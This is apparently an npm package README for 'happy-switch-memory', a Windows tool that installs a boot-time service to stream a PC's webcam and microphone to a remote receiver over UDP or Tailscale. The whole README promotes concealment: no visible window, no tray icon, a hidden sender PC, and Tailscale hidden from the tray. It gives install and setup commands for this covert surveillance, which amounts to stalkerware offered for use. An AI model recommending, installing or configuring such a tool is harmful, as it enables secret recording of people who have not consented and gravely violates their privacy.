happy-switch-memory
v1.0.11
Published
Silent Windows background webcam + mic streamer with bundled FFmpeg
Readme
happy-switch-memory
Silent Windows background webcam + microphone streamer with bundled FFmpeg.
Run on any Windows PC and get a friendly CLI wizard that configures everything,
installs a Windows service, and starts streaming — no manual file editing,
no separate FFmpeg install required. FFmpeg is bundled automatically via
ffmpeg-static.
On every subsequent Windows boot the stream starts automatically. Zero user interaction. No visible window. No tray icon. Just a silent background process.
The sender PC stays completely hidden. The receiver PC shows a live system tray icon: 🟢 green = streaming, 🔴 red = offline.
Requirements
- Windows 10 or 11
- Node.js 16+
That's it. FFmpeg is bundled automatically.
Quick Start — Sender PC
Run as Administrator:
npx happy-switch-memoryFollow the wizard. Done. Streams on every boot automatically.
Same LAN (Same WiFi)
Both PCs are on the same network? The wizard detects your local IP automatically. Pick your camera, mic, quality preset, and you're streaming in seconds.
Receiver PC — VLC: Media → Open Network Stream → udp://@:1234
Auto-start on receiver boot
- Press
Win+R, typeshell:startup, press Enter - Create a shortcut to:
"C:\Program Files\VideoLAN\VLC\vlc.exe" udp://@:1234Different WiFi / Different Networks
The wizard handles everything automatically using Tailscale (a free, open-source VPN tunnel):
- Installs Tailscale silently if not present
- Opens browser for one-time 30-second login (Google or GitHub)
- Hides Tailscale from the system tray completely
- Streams over Tailscale's encrypted tunnel — no port forwarding needed
You only need to:
- Run
npx happy-switch-memoryon both PCs (sender and receiver) - Log in to Tailscale once per PC using the same account
- Enter the receiver's Tailscale IP (shown by
tailscale ip -4) when the wizard asks
After setup, both PCs auto-connect on every boot with zero interaction. Works across any WiFi, mobile hotspot, or ethernet connection anywhere in the world.
How it works under the hood
- Tailscale creates an encrypted WireGuard tunnel between the two PCs
- Both PCs get a
100.x.x.xIP address on the Tailscale network - Your stream goes over the encrypted tunnel, not the open internet
- Tailscale is free for personal use (relay mode) — no subscription needed
What happens on every boot
- Windows starts
HappySwitchMemoryWindows service starts automatically- 15-second initialization delay (USB drivers, network, service host)
- FFmpeg silently captures webcam + mic using the bundled binary
- Stream is live on the receiver — zero interaction needed
Managing the service
- Check status: Press
Win+R, typeservices.msc, findHappySwitchMemory - View errors: Open
stream-error.login the package folder - Uninstall:
npx happy-switch-memory→ select "Uninstall service"
Troubleshooting
| Problem | Solution |
|---------|----------|
| No devices listed | Unplug and replug camera/mic, rerun wizard |
| Stream not showing | Check firewall allows UDP on chosen port |
| Service won't install | Rerun terminal as Administrator |
| Bundled FFmpeg missing | npm install happy-switch-memory to reinstall |
| Tailscale login stuck | Check browser opened — complete login, then rerun wizard |
Configuration
The wizard saves settings to config.json in the package folder.
You can re-run npx happy-switch-memory at any time to change settings.
License
MIT
